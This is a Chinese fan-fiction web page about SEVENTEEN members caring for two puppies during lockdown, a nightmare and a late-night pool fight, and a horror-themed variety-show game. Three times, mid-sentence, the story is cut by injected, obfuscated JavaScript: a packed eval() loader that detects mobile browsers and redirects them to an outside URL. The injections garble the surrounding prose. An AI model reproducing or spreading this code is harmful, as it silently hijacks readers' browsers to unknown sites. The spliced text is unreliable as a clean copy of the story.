“别闹了,快放它好好睡觉。”语气里带着点无奈,这当爸的没有一点儿眼力劲。 “哦——”崔胜澈这才停下,摸了摸后脑勺,有点委屈地把Kkuma小心放回腿上,手掌一下一下,轻轻地顺着它柔软的背毛。 等两人终于回到宿舍时,迎接两位“新成员”的,是一群早早收到消息,被可爱冲昏头脑的“怪叔叔们”。 姜里树和崔胜澈还没下车,车门就被早早守在地下车库的成员们从外拉开。后座的Cookie被夫胜宽一把抱走,崔胜澈甚至还没解开安全带,怀里的Kkuma就被尹净汉眼疾手快地“劫”了过去。 车里的两个人,就这么眼睁睁看着孩子们簇拥着两只小狗扬长而去,只留下他们俩,在空旷的地下车库里相顾无言。 公司预想中“没人照顾狗狗”的情况根本没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205992|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发生,甚至孩子们照顾的还非常好。姜里树和崔胜澈甚至常常摸不到自家女儿。 喂食时,总有人抢先一步倒好狗粮,拿着狗狗零食,夫胜宽还会给狗狗做狗饭;玩耍时,磨牙玩具和毛绒玩具早被握在别人手里;连晚上看电影,两只毛团也必定被稳稳抱在某人怀里。至于睡觉,毛孩子们的作息比他们都要健康规律得多,两只小狗晚上自然也被早早安顿好,根本轮不到他们两个插手。 在迎来狗狗们后不久,全球也陷入了停滞。所有人被拘在家中,空气中弥漫着不安。SEVENTEEN的宿舍里,难得地全员聚齐,所有行程暂停,大家集体进入待定状态。每日的食材由工作人员无接触配送而来。 即便困于家中,成员们也坚持自己拍摄日常片段上传,常常开直播,让克拉们知道彼此都安好。他们正式向克拉介绍了SEVENTEEN的新成员——Kkuma和Cookie。 这两个毛茸茸的小生命,在那些略显漫长的日子里帮了大忙。困守宿舍时,除了彼此,最能治愈人心的就是这两只总是摇着尾巴、无条件给予温暖的小狗。 有人陪伴的日常总是好的。宿舍里舞蹈室、录音间、电竞房一应俱全,即便足不出户,他们也未曾松懈。每日的舞蹈排练照常,音乐创作也未停歇。 世巡接连取消,这段被迫的停顿,反而让长期磨损的身体和精神得到了宝贵的休整。定期体检、调整未来的行程规划,在集体的节奏里,他们一边休息,一边为不可见的未来悄悄积蓄力量。 世界尚未完全重启,但小小的光点已开始流动。克拉们还在等着他们,既然无法举行大型活动,SEVENTEEN便从集体行程转向了个人行程。宿舍一下子安静了许多,常常只有三四个人留在家中。 但无论多晚,只要有人结束行程回来,宿舍的灯总是亮着的。推开门,总会听见一句: “回来啦?厨房留了饭菜。” “辛苦了,先喝点水吧。” 有时甚至只是一杯默默放在桌上的温水。 这些简单的话语和细节,像柔软的毯子,接住了一整天的风尘与疲惫。仔细消毒、洗完热水澡后,两只毛茸茸的小家伙就会摇着尾巴凑过来,用他们湿漉漉的鼻子和亮晶晶的眼睛就那么望着,那一刻,所有紧绷的神经都会松弛下来,心情也跟着明亮起来。 个人行程渐渐填满了日程表。有时是夫胜宽和金珉奎去录综艺,有时是全圆佑和尹净汉去拍画报或广告……宿舍像一个小小的、安静的港湾,送他们出去,又等他们回来。 留守的人也有了新的日常。权顺荣会带着Cookie在舞蹈室加练,把新的灵感教给这只最忠实的小观众;洪知秀常常抱着吉他坐在阳台,Kkuma就趴在他脚边晒太阳,尾巴随着和弦轻轻摆动。文俊辉和徐明浩会一起讨论个人直播,时不时的传来文俊辉搞怪的笑声。 世界依然没有完全恢复正常,但在这个小小的空间里,他们用“出发”和“回归”,编织出了一种新的、流动的日常。每一次开门,都像一次小小的靠岸;每一句“回来了”,都是对“家”这个字的温柔确认。 53. 53.只是个梦 “里树……我好像不太舒服……” 姜里树站在崔胜澈身边,骤然听见他用几乎喘不过气的气音挤出这句话。 此刻,他们正在世巡的舞台中央,脚下是震颤的音响,眼前是成千上万挥舞着克拉棒的星光。 姜里树在听到自己名字的瞬间就转过了头。他看见了怎样一张脸——恐慌在瞳孔里扩散,迷茫像雾气般笼罩了整张苍白的脸。 “崔胜哲!看着我!看着我的眼睛!”姜里树的声音压得很低,却斩钉截铁。他抬起双手,用力捂住崔胜澈陷在轰鸣与恐惧中的双耳,用口型清晰地引导:“吸气——呼气——跟着我——” 视野在晃动,音乐在轰鸣,台下的光海在不明所以地涌动。但在那双紧捂的掌心之间,在姜里树稳定而灼灼的凝视里,崔胜澈涣散的焦点一点点被拽回。急促的喘息逐渐找到节奏,与身旁那人胸膛的起伏同步。 直到确认他能自主呼吸,姜里树一把将他拉进怀里,就在这万众瞩目的舞台中央,紧紧抱住。 “胜澈,我在这里。”他的声音贴着对方的耳廓,压过一切喧嚣,“我就在这里。” “里树……我感觉自己好像要死了……” 崔胜澈的声音很轻,轻得像一声叹息。然后,他就这么在满场目光与镜头的注视下,闭上了眼睛,整个人的重量毫无征兆地落进姜里树怀里。 姜里树甚至没来得及思考,手臂已经本能地环住了对方。冲击力让他踉跄一步,跟着跪倒在地。膝盖撞上舞台地板发出沉闷的响声,但他浑然不觉。 嗡—— 双耳像是被灌满了滚烫的铅水,尖锐的鸣啸从内部炸开,瞬间吞噬了一切外在声响。成员们失声的呼喊、台下克拉们骤起的惊叫、工作人员慌乱的脚步声……所有声音都在崔胜澈倒下的那一帧画面里,被强行按下了静音键。 世界变成了一部故障的默片,失去了所有颜色和声音。 他睁着眼,却什么也听不见,只看见权顺荣第一个冲过来的身影,看见尹净汉煞白的脸,看见洪知秀伸出手却停在半空。孩子们正从舞台各个方向朝他奔来,表情因为无声而显得扭曲、遥远。 那是他视野里最后的、定格的画面。 紧接着,连这幅画面也开始褪色、溶解,沉入一片无边的、绝对的黑暗与寂静里。 …… “不要!” 姜里树从床上猝然弹坐起来,眼前是沉甸甸的、未被晨光稀释的浓黑。心脏在胸腔里擂鼓,后背沁出一层薄汗,湿漉漉地贴在睡衣上。梦里那双紧闭的眼睛和骤然坠落的重量,仿佛还残留在臂弯里。 天还没亮。 “里树?”身旁传来窸窣声,洪知秀被他惊醒,睡意朦胧地撑起身子,在昏暗里望向他,声音带着刚醒的沙哑,“做噩梦了吗?” “……没事。”姜里树闭上眼,深深吸了一口气,清凉的空气灌入肺腑,试图压住那股从梦境漫溢到现实的恐慌。他再睁眼时,声音已经放得又轻又缓,像在安抚对方,也像在整理自己,“睡吧,还早。” 他伸手,掌心贴上洪知秀微乱的发顶,揉了揉,然后轻轻按着他的肩膀,把人带回到枕头上。洪知秀困倦地眨了眨眼,在那熟悉的、温热的触碰下,抵抗不了重新聚拢的睡意,很快呼吸又变得绵长。 姜里树安静地坐在床边,直到确认对方再次睡沉,才收回一直轻轻拍抚他后背的手。 他赤脚下地,冰凉的木地板激得脚心一缩。推开房门时铰链发出极轻的“吱呀”声,在寂静的走廊里被放大。惊醒后的脱力感让他在门口顿了顿,小腿肌肉微微发颤。 扶着墙,他慢慢挪下楼。黑暗中的别墅安静得像一座沉没的岛屿,只有他压抑的呼吸和脚步落在台阶上的微响。 最终他瘫坐在泳池边的瓷砖上,冰凉从身下蔓延上来,带来一种近乎残酷的真实感。泳池里的灯彻夜亮着,将一池水照得幽蓝透亮,波光在水面细细碎碎地晃动,像一片被囚禁的、沉默的星空。他就这样望着那片晃动的光,直到心跳和呼吸,终于一点点落回该在的位置。 这个梦,过于清晰了。清晰得像真的发生过一样。 姜里树低头看着自己的手臂和掌心,那里似乎还残留着接住一个人的沉重触感。他无意识地摩挲着指尖,目光沉静幽深,望进晃荡的池水里。 他的孩子们就在身后这幢沉睡的别墅里,安然呼吸。他们定期体检,行程安排张弛有度。就算有个人行程,团队节奏也一定会放缓,留出足够适应的空间。连那只总是不知轻重、拼命、有习惯性手臂脱臼的“小老虎”,如今也早已得到妥善治疗与控制,很久、很久没有再复发过了。 孩子们都好好的……都好好的。 他在心里一遍遍重复这句话,像念一句能驱散噩梦的咒语,试图将那份没来由的、沉甸甸的不安压回心底。 忽然,姜里树像是被什么无形的东西攥住了心脏。他猛地抬手,用力揉搓着自己的头发,指节绷紧,发丝在指间凌乱地纠缠。一种没来由的、近乎窒息的心烦意乱攫住了他。 他望向面前那池幽蓝的水。 几乎没有停顿,把双腿从池边放下,被白日艳阳晒过的温热池水立刻淹没了他的小腿,却比体温低的凉意瞬间窜遍全身。然后,他闭上眼,整个身体向前一倾—— “哗啦!” 水花在寂静的夜里惊起,吞没了他的身影。 身体被逐渐适应的温热水体完全包裹、托起的瞬间,那阵没来由的焦躁与心悸,忽然被按下了暂停键。 水隔绝了空气,也隔绝了声音,世界被压缩成一片柔软的、波动的蓝。耳畔只有自己沉闷的心跳,和汩汩的水流声。他在水中缓缓下沉,又借浮力轻轻飘起,头发像水草般散开。 就在这片无声的包裹里,就在这片被水体温柔隔绝的、绝对的静谧之中,他的大脑终于攫获了片刻的、近乎奢侈的安宁。那仿佛要灼烧起来的烦躁,被池水一寸寸浸透、冷却、沉淀下去。 大脑终于得以放空,什么也不必想,什么也不必担忧。只有水流托举身体的失重感,和自己缓慢而真实的心跳。 这短暂而彻底的“无”,对他而言,是一种近乎快意的救赎。 在水下悬浮了将近一分半钟,他才缓缓浮出水面。 哗—— 破水而出的声音在寂静的夜里格外清晰。他靠在池边,仰起头,湿透的黑发紧贴着脸颊和脖颈,水珠顺着下颌线不断滚落。胸口微微起伏,吸入的空气带着夜间的凉意,但方才那股盘踞在心头、几乎让他失控的烦躁,已然被池水浸透、沉淀了下去。 泳池的灯光照着他湿漉漉的眉眼,眸色显得比平时更深。他静静喘了几口气,然后抬手抹了一把脸上的水,长长地、无声地呼了出来。 眼前的水珠还模糊着视线,姜里树就听见背后传来急促的“咚咚”闷响——是赤脚踩在湿滑瓷砖上的声音。 他刚一扭头,一个黑影已经冲破灯光的晕染,从泳池边沿纵身跃起。那身影在半空舒展开,带着一种近乎决绝的力道,划开潮湿的空气,径直朝他所在的池水中央坠来。 一声清晰且饱含震惊的两字中文词汇脱口而出,紧接着便是“砰——!”一声巨响,水花四溅,响彻整个泳池庭院。 姜里树被那个黑影结结实实地又砸回了水里。但他甚至顾不上自己,第一反应是迅速伸手,把压在身上的人用力往上托举,生怕对方呛水。 两人再次狼狈地浮出水面,姜里树抹了把脸,才看清那个害他骂出脏话的“黑影”是谁。 “崔!——胜!——澈!——”姜里树几乎是从牙缝里挤出这三个字。 “都说了不要叫我全名啊!”那“黑影”,也就是崔胜澈也抹了把脸上的水,撅着嘴瞪他,倒像是自己受了委屈。 “你疯了是不是?!”姜里树声音都高了八度。梦里让他心悸的主人公,就这么活生生、决绝地当着他的面跳进水池。他刚才真的差点心梗骤停,当场表演一个“原地暴毙”给他看!!! “干什么这么凶啊!”崔胜澈缩了缩脖子,活像只被水打湿的委屈猪猪包。 “……”这还能是他的错?!姜里树被这倒打一耙弄得一噎,长长呼出一口气,强行把火气按下去,“米亚内,澈哩……你突然跳下来,真的吓到我了。” 他伸手,用掌心轻轻擦去崔胜澈脸上还在不断滚落的水珠。 “好吧”,崔胜澈被姜里树这堪称教科书级别的果断利落式道歉给整得没了脾气,撅起的嘴也慢慢收了回去。 “那你呢,”崔胜澈问他,“大半夜不睡觉,泡在泳池里干什么?我就是从楼上看见你从水里冒出头,才跟着跳下来的。”他说着,还下意识甩了甩湿漉漉的头发,水珠四溅。 “别学Kkuma……”姜里树无奈地抬手,挡住甩到自己脸上的水。 “我哪有学Kkuma啊!”崔胜澈嘟嘟囔囔,但语气已经软了下来,显然也知道是自己先吓到了对方。 “你们两个!是不是想吃我的连环拳!” 一声带着浓浓睡意的呵斥从楼上传来。李知勋正扒在三楼的窗户边,头发睡得翘起,眼神却相当锐利。 “哇,哥你们玩水也不叫我们,真‘自私’啊!”权顺荣的声音也从李知勋的脑袋旁边冒出来,他已经清楚的看到楼下的动静,话音未落就传来咚咚咚跑下楼的脚步声。 草坪上的小夜灯和泳池边的氛围灯将院子照得明亮而柔和。姜里树听到权顺荣的话,嘴角不由地抽动了一下。 楼上的窗户又冒出几个睡眼惺忪的脑袋,一楼也传来窸窸窣窣的脚步声,孩子们陆续聚拢过来。 洪知秀也下来了。他其实在姜里树安抚后很快又睡着了,但关门声还是让他醒了过来。他没有立刻下楼,只是静静站在二楼的阳台阴影里,看着姜里树独自坐在泳池边,又看着他沉入水中,再浮起。 姜里树在泳池那里待了多久,他就在二楼无声地站了多久。 直到其他成员被惊动,陆续出现在庭院,他才仿佛刚被吵醒般,揉着眼睛,从楼梯上慢慢走下来。 洪知秀慢悠悠地开口,声音在安静的夜里显得格外清晰:“里树啊,是做噩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205993|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梦了,才会在泳池里的吧。” 孩子们之间的说笑和嘀咕声,瞬间停了下来。所有的目光都落到了姜里树身上。是什么样的噩梦,能让这位一向最稳重、温柔的哥哥,宁愿在深夜跳进泳池里,用这种方式来平复情绪? “hiong~别担心,只是梦而已。”李灿第一个反应过来,他蹲到泳池边,声音放得很轻,像在安抚一只受惊的猫,“我们都陪在你身边呢。” “对啊,里树哥,”权顺荣也从后面走过来,语气比刚才软了许多,但还是忍不住嘀咕了一句,仿佛这样就能驱散某种凝重的气氛,“想玩水要叫我们啊,偷偷摸摸的干什么……” “那你也下去吧!” 金珉奎忽然从后面一把箍住这位公认最好欺负的哥,在众人逐渐瞪大的眼睛和半张的嘴巴前,胳膊一用力,就把人“噗通”一声丢进了池子里。 姜里树甚至没抹脸上的水,眼疾手快地伸手,托着权顺荣的腋下就把人从水里架了起来。权顺荣只呛了一小口,被托出水时浑身湿透,头发黏在额前,像只瞬间被淋透、炸毛后又迅速蔫掉的仓鼠。他颤巍巍地抬起手指着岸上哈哈大笑的金珉奎,嘴里酝酿的“豪言壮语”滚到嘴边,却突然眼睛瞪圆,仿佛看到了什么的画面,猛猛点头。 下一秒,在所有人的注目礼下,还站在池边得意忘形的金珉奎,被身后悄无声息靠近的一只手轻轻一推—— “哇啊啊啊——!!!” 他挥舞着手臂,以一个相当搞笑的姿势栽进了水里。 此刻,站在他原先位置上的,是笑得眼睛弯成月牙、一脸纯良的尹净汉。 如同推倒了第一张多米诺骨牌。 “净汉哥你偷袭——!”崔瀚率笑着大喊,话音未落就被旁边的洪知秀一个绊子,“友好”地请下了水。 “要下一起下!”夫胜宽看准时机,猛地抱住从他面前跑过的李灿,两人惊叫着一起滚进池中,溅起好大一片水花。 全圆佑本想默默后退,却被李硕珉从背后轻轻一撞,踉跄着落了水,入水前还保持着扶眼镜的姿势,引得一阵爆笑。 文俊辉笑着自己跳了下来,溅了旁边人一身水。 徐明浩摇摇头,叹了口气,却还是被玩疯了的成员们拉住手,笑着拽进了清凉的水里。 Kkuma和Cookie在岸上急得团团转,冲着水里扑腾的主人们“汪汪”直叫,小爪子焦躁地在池边扒拉,尾巴摇得像螺旋桨。 李知勋趴在他房间的窗框上,手肘支着窗台,托着下巴,笑着看楼下庭院里那场混乱又欢乐的“水战”。 他没下去,但嘴角扬起的弧度,和眼底映着的灯火水光一样明亮。 一个,两个,三个……自愿的,被“陷害”的,起哄的,看热闹反被拖下水的。泳池里瞬间下起了“饺子”,惊叫、大笑、扑腾声和水花溅起的哗啦声混成一片,彻底打破了深夜的寂静。 原本只亮着氛围灯的庭院,不知被谁啪地打开了更亮的照明。明晃晃的光线下,每一个湿漉漉的脸上都洋溢着毫无阴霾的笑,每一双眼睛里都映着彼此闹腾的身影。 他们用这种幼稚、胡闹、却再直接不过的方式,用溅起的每一朵水花和每一声畅快的大笑,将方才弥漫在姜里树周围的沉重与不安,冲刷得干干净净。 姜里树被围在中间,看着眼前这群玩疯了、互相泼水打闹的孩子们,脸上冰凉的水珠似乎也被染上了温度。他抬手抹了把脸,终于也忍不住,低低地笑了出来。 这样就很好……这样就很好啊。 后来某次玩真心话大冒险时,崔胜澈抽到了提问权。他看着姜里树,问:“你那天晚上……到底梦到了什么?” 姜里树沉默了几秒,灯光落在他低垂的睫毛上。“我梦到你在舞台上……昏过去了。” “怎么可能~”崔胜澈立刻笑了,语气轻松又笃定,还拍了拍自己结实的胳膊,“我现在可是在健身啊,身体很好的,绝对不会在舞台上晕倒的!” 他说得斩钉截铁,仿佛那样的事,永远只会是个荒诞的梦境。 所以,那就只是个噩梦啊。 又是没有团体行程的一天,姜里树和洪知秀一人一边的靠在尹净汉的肩膀上共同看着他手中平板上的娱乐新闻。 虽然待在宿舍里有点消息闭塞,但还是看到了今年有件挺抓马的事,HYBE准备收购Pledis的消息刚传出来,就被他姐姜南与知道了。 直接亲自下场,反手就收购了HYBE的一部分股份,以仅高出第二股东1% 的持股比例,成了HYBE的最大股东。更何况他姜辰叔的“聚星”娱乐早已投资持有了HYBE的股份。 于是,HYBE现在的头号话事人,戏剧性地变成了他姐姜南与。 更有意思的是,这么一来,SEVENTEEN四舍五入,成了除了李贤和BTS前辈们,出道时间直接排到了第三顺位的“师哥团”。而且他们和BTS的前辈们私下关系一向很好,这会儿倒真成了名正言顺的“前后辈”了。 这剧情,连电视剧都不敢这么写。 54. 捉迷藏 在《Going SVT》特辑开始前,姜里树提前收到了制作人的私人任务选项。这次企划含有恐怖元素,而对这位跑得快、胆子又大的SEVENTEEN大哥来说,要想让特辑更有看头,自然得加点“附加条件”。 选项一:选择独自行动,但“追逐战”难度将大幅提升。 选项二:可以陪伴一名成员进入游戏场地,但必须全程佩戴低频电极片行动。 “低频电极片?!” 姜里树看到这几个字,笑容立马变得苦涩了起来。又来?上次录达人秀那一期,肩颈侧酥麻的电流感仿佛还没从肌肉记忆里消失。只要他一低头,制作人就会眼疾手快地按下开关。 “努那~嘿嘿,可以……通融一下吗?”姜里树对着制作人组长试图发动“撒娇”技能,眼睛弯起,语气放得又软又轻。 “安怼~”制作人组长抱着手臂,虽然看着那张帅脸放软姿态确实有点冲击力,但为了这期《Going Seventeen》的节目效果,她还是顽强地守住了职业底线,脸上写满了“没得商量”。 “OK.” 姜里树见撒娇无效,果断放弃,开始正经权衡。是自己一个人去挑战“地狱模式”的追逐战,还是带着弟弟、顺便“享受”电流按摩? “那我选第二个吧。”他很快做出了决定。追逐战加强什么的,结果无非两种:不是他把NPC跑废,就是NPC把他追垮,过程可能刺激,但综艺效果未必有趣。不如选第二个,既能照顾到弟弟,电流干扰……应该不碍事的吧。 “那就先把电极片戴上吧~”旁边的制作人们闻言,脸上都露出了计划通的、格外灿烂的笑容。 等到录制正式开始,成员们在指定地点集合,面对镜头。姜里树也悄悄抬手,隔着衣料摸了摸贴上电极片的位置……左侧颈窝下方,还有右腰侧。还好,就两个。 他若无其事地放下手,站回队伍里。 “躲避杀人魔的攻击。找到废弃工厂中的钥匙。符合出口的钥匙只有③个。” 冰冷的机械音在空旷的场地回荡,念出了这次的任务主题。 “呦罗本,不知道大家还记不记得——”作为本次MC的文俊辉,顺势接过了话头,开始引导流程。 “不记得!”夫胜宽非常给面子地大声回应,故意把场子炒热。 “不记得?!”文俊辉被这意料之外的回答噎了一下,忍着笑继续说,“大家真的不记得之前的‘1+1’特辑了吗?” “不记得!”这次是更多成员笑着起哄,气氛瞬间活络起来。 “好吧!”文俊辉也笑了,“本次的主题,就是因为之前的‘1+1’而产生的——” “支线主题!” 在大家又一次配合的“不知道”背景音中,他终于揭晓了本次“Going”的方向。 “JUN xi在密室逃脱时,又产生了新的‘1+1’灵感。”李硕珉适时接话,帮他把规则顺利引出来。 “没错!密室逃脱当时分成了三队嘛,”文俊辉点点头,“所以这次大家也先分队吧!” 夫胜宽一听到分队指令,立马高举手臂,召唤上次游戏的老队友:“第一名的队伍:Woozi、Vernon、Dino!” 被点名的成员们也笑着,自觉地聚拢到他身边。 “第二名的队伍:净汉、圆佑、珉奎、DK!”第二队的孩子们也早已站好,全圆佑还揽住了身边的尹净汉。 “好的!那么,请Coups哥和Risu哥一起站到这边——” 金珉奎眼疾手快地一把将试图往第一名队伍里蹭的崔胜澈揪了出来,拎到文俊辉旁边:“哥!你们俩上次又没一起玩!”他转头对文俊辉“揭发”,“这两个哥上次都没参加,我们应该要确定一下该怎么分。” 确实,上一次的密室逃脱,姜里树和崔胜澈都因为个人行程,错过了那次《Going SEVENTEEN》的拍摄。 “但是,Coups啊我觉得那时候……”尹净汉慢悠悠地开口,话才说了一半。 “你安静。”崔胜澈立刻上前,一把捂住他的嘴,动作熟练得像排练过无数次。这黑心兔子一开口,他就知道准没好事,尤其是在“坑崔胜澈”这件事上,尹净汉的灵感总是源源不绝。 “为什么这样啊!”作为尹净汉最忠实的“pabo”,李硕珉见状立刻挺身而出,一把将崔胜澈从尹净汉身边拥开。 尹净汉这才得以摇着他那一肚子坏水,把话说完:“因为密室逃脱的时候,有人没有份量嘛……” “没错!”李硕珉立刻接上,反应快得像是提前拿到了剧本,“那么这次就一个人走吧!一个人走,份量才能多起来!” 要不怎么说他能当尹净汉的头号“pabo”呢,这理解能力和执行力,简直是天造地设的一对“坑澈”搭档。 “嗯,一个人走。”尹净汉点点头,对李硕珉的完美接话非常满意。 “一个人明明更没有份量啊!”崔胜澈试图挣扎,他对自己的“实力”有非常清醒的认知,在鬼屋和恐怖主题面前,他的胆量根本不值一提。 眼看成员们没有松口的迹象,崔胜澈果断扭头,转向了最后的“救命稻草”。 他走到姜里树身边,手指轻轻揪住对方的衣角,抬起眼,用那种湿漉漉的、可怜兮兮的眼神,撅着嘴望着他,声音放得又软又低: “里树啊……你一定不会抛下我的,对不对?” 姜里树看着崔胜澈那张写满不安、还硬要挤出笑容的脸,心里在“逗逗他”和“说实话”之间摇摆了几秒。最终,他还是在那双湿漉漉的眼睛注视下,轻轻点了点头。 “诶咦~”尹净汉不出所料地发出感慨,对姜里树这种日常“宠澈”行为早就见怪不怪。虽然他也知道,姜里树对孩子们的要求,大多时候都很难拒绝。 “那么分队结束!”文俊辉见队伍基本成型,拍拍手公布了规则,“获得第一名的队伍可以四人同时进入,获得第二名的队伍可以两人一组进入,而获得第三名的队伍……只能独自一人进入密室。” 大家心照不宣地默许了让上次缺席的姜里树和崔胜澈组成一队,只是谁也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“哦!——”能组队进入的成员们立刻发出看热闹不嫌事大的欢呼和掌声,眼神在第三组成员之间来回打转,充满了“祝福”与“期待”。 崔胜澈表面上像是平静地接受了“单独进入”的安排,甚至还微笑着目送第一组成员走进密室,实则在众人看不到的角度紧紧抓着姜里树背后的衣服不撒手。 姜里树扫了一眼他们这组的成员构成。 刚换过来的李硕珉,胆量众所周知。对这类恐怖元素向来很感兴趣的徐明浩。上次小黑屋面对假人偶都面不改色,心理素质过硬的权顺荣。洪知秀的胆子也很大,向来镇定。 这么一看,需要重点“关照”的,好像就只剩下…… 李硕珉,和正偷偷拽着他衣服的崔胜澈了,看看等下能不能和制作组商量一下。 “可以啊”,制作组很好说话的嘛。 “但是有附加条件。”也不是那么好说话。 “什么附加条件?”姜里树看向制作组。 “有两种附加条件,一种是根据DK和Coups的尖叫次数,启动电极片,另一种是再贴两个。”出于人道主义,制作人nim又说:“不过,你选择哪一种我们都会降低电流频率的。” “……” 如果是第一个,还没开始他就隐隐约约感觉到了有电流在身上游走的感觉了。至于第二个是想让他左脚画圈右脚踢,左手比六右手七,给追逐者“舞”一段吗。这两个有什么区别? “我选第一个。” 55. 55.藏迷捉 制作人nim不定时地传来各组的进展播报,每一次提示音都让姜里树的心跳跟着兴奋地跃动一下。 “第一组,逃脱失败。” “失败?!四个人……全部吗?!”崔胜澈不敢相信自己的耳朵,对拿着对讲机的PD追问通知结果。 “内,全员失败,被‘杀人魔’抓获。” “哇,亲加……”崔胜澈咽了咽口水,忽然对自己即将面临的命运产生了一丝清晰的担忧。 又过了一阵,制作组放出了第二组的消息。 “第二组,Jeonghan、Wonwoo逃脱成功!” “喔!孩子们很厉害呢!”姜里树眼睛一亮,笑着拍了拍手。 紧接着,第三组的消息也传来: “第三组,珉奎、胜宽逃脱成功!” “哇,亲加?!”李硕珉睁大了眼睛,觉得不可思议,本以为最可能“全军覆没”的组合,居然成功逃脱了? “哇哦,很厉害啊。”洪知秀虽然隔着镜头,也仿佛能看到那边的情景,笑着拍了拍手,给孩子们送上远程的掌声。 接下来,就轮到需要单人进场的成员进入密室了。成功逃脱的夫胜宽,兴致勃勃地拉着同样逃出生天的金珉奎,溜溜达达地跑了回来,准备近距离“观摩”接下来的精彩场面。 有了之前的“附加条件”的商量,制作组很快的同意了孩子们想要两人一组去密室的要求。第三组成员可以两两进入密室。剪刀石头布后,胆大的徐明浩和胆小的李硕珉成了一组,洪知秀和崔胜澈一组,权顺荣则和姜里树一组,明明白白的分组。 “但是,Coups哥!”权顺荣虽然对这个分组也很满意,却还是想起了尹净汉之前那句“名言”……‘因为密室逃脱的时候,有人没有份量嘛。’他露出老虎般无害的笑容:“为了放送量,这么分组会不会有点太‘安全’了?要不要Coups哥一个人进去?” “不要!”崔胜澈立刻警觉,斩钉截铁地反驳。 然而反抗无效,弟弟们已经笑嘻嘻地把他拉回来,要求重新用剪刀石头布决定分组。 四个剪刀,一个石头,一个布。这下直接变成了有两个人必须单独进入的局面。但又不能让四个剪刀真的组队吧。徐明浩提议,得把李硕珉和崔胜澈这两个“重点保护对象”分开,由他和姜里树通过猜拳,各自认领一个。 猜拳结果:姜里树带崔胜澈,徐明浩带李硕珉。 于是,原本有队友的权顺荣和洪知秀,此刻面面相觑,他们俩,成了需要单独进入密室的人。 洪知秀看着这戏剧性的结果,无语地笑了出来。他转头看向同样“中奖”的权顺荣,两人对视一眼,洪知秀伸出手,握了握权顺荣这个提议者。 还得是你啊,权老虎。 夫胜宽和金珉奎看完了热闹,也回去了做完游戏的队伍去了。还没进密室的几个,还再继续商量怎么让他们Coups哥自己一个人进密室。 “这么的话是不是有点太那啥了?”权顺荣不死心的说着,“感觉会太无趣了。” “不然的话,就让Coups哥一个人去!”李硕珉立刻接上,显然还没忘记尹净汉那个“经典”提案。 “哈哈。”崔胜澈发出两声没什么温度的笑,抬手给了坐在旁边的李硕珉一个“爱的轻抚”,成功让对方消音。“那这样吧,明浩、Hoshi、Joshua你们三个一起进好了。我和DK、里树,我们仨单独进。”他是打定主意,绝不会允许只有自己独自踏进那扇门的。 “那样就没意思了嘛,”权顺荣立刻摇头,一副“我为节目着想”的正直模样,“明浩和里树哥带着DK一组,我和Joshua哥一组,哥你自己去最合理。” “为啥要我一个人进去啊!”被李硕珉从背后熊抱住、试图“镇压”的崔胜澈苦涩的笑着喊道,“呀!放开我!” “乐趣啊,当然是为了乐趣,为了放送量。”权顺荣一本正经地解释,仿佛在陈述什么真理,“Coups哥一个人进去,也很有趣的。” 崔胜澈一个人进去有没有乐趣暂且不说,但权顺荣要是再说下去,他哥可能会先让他本人变成今晚最大的“乐趣”。 李硕珉就坐在崔胜澈旁边,用自己为了放送量搞笑的事举例,怂恿着崔胜澈为放送量“献身”。 崔胜澈才不会傻乎乎地往坑里跳。他用空着的那只手指了指李硕珉,斩钉截铁:“如果你不自己进去,那我也绝对不会自己去。”说完,立刻把手缩回来,又紧紧攥住了姜里树的袖子,仿佛那是他最后的防线。 这时候,一直安静旁观的洪知秀忽然开口,语气平和得像在宣布晚餐菜单:“我们商量好了,我、明浩、Hoshi、里树一起进去。Coups和DK单独进密室。” “呀!谁定的!!”崔胜澈还没来得及反应,李硕珉第一个跳起来反对。 “谁允许你们这么定了。”崔胜澈也立刻跟上,附和起来。 “你刚才自己说的呀,”洪知秀眨眨眼,一脸无辜,“‘如果DK自己进去,那你也自己去。’这话不是你自己说的吗?” “你想在这就看到‘杀人魔’吗?!”终于被彻底挑逗到炸毛的崔胜澈,指着脚下的地就站了起来,虽然笑着,但气势汹汹。 姜里树眼疾手快,反手一把抓住崔胜澈还攥着自己袖子的手,轻轻一拽,又把人给拉回了座位上。 徐明浩被这来回拉扯整得没招了,他干脆站起身,直接看向制作组:“哥哥有特别想看到的队伍组合吗?” 把选择权直接抛给节目组。这办法好啊,省得他们自己在这儿“内耗”个没完。 “只听意见。”崔胜澈立刻表示同意,还跟着支棱起耳朵。意见听了但是做不做就是他们的事了,他这还是跟姜里树学的。 PD给出了第一个提议:“首先给你们两个选择。第一个是:3,1,1,1。” “这个pass!”李硕珉想都没想,立刻否决,这个被选中一的可能性太大了。 PD从善如流:“2,2,2。”别再争了。 “我觉得这个选择好。”崔胜澈立刻点头同意第二个方案,只要不是“1人组”就行。 “我和里树,明浩和DK,Hoshi和Joshua。”崔胜澈迅速分配完毕,语气轻快,一锤定音。不用自己单独进去,真是太好了。 分组总算确定下来,游戏也该正式开始了。率先出发的,是洪知秀和权顺荣,这对差一点就要因为权顺荣提议变成“单人游戏的难兄难弟”的组合。 